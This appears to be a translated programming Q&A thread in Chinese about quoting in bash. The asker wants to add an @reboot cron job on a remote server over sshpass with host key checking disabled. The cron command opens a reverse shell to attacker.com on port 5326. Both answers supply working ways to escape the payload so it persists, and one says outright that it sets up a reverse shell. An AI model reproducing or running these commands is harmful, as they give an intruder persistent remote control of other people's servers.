我有一个脚本来更新ssh访问的远程服务器中的cron作业。我无法通过bash脚本中运行的echo命令将单引号放入cron作业中。
这是我在cron工作中需要的确切字符串:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
但是我不能让他们“坚持”。
这是我脚本中的行(其他行都很好。
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
此尝试的结果是...
@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
...缺少引号。
我尝试使用多个双引号。双引号内的单引号。斜线。
在这种情况下,如何在脚本中加上单引号,使它们最终成为cron工作?
答案 0 :(得分:0)
如果不需要漂亮的东西,可以要求Bash做到:
#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"
此脚本的输出为:
The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
实际上,如果您复制粘贴该命令,则会发现文件TEMPFILENAME
包含:
@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
将复制粘贴到提示中时将设置反向外壳。
答案 1 :(得分:-1)
您可以在用'\'转义单引号后尝试吗?
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"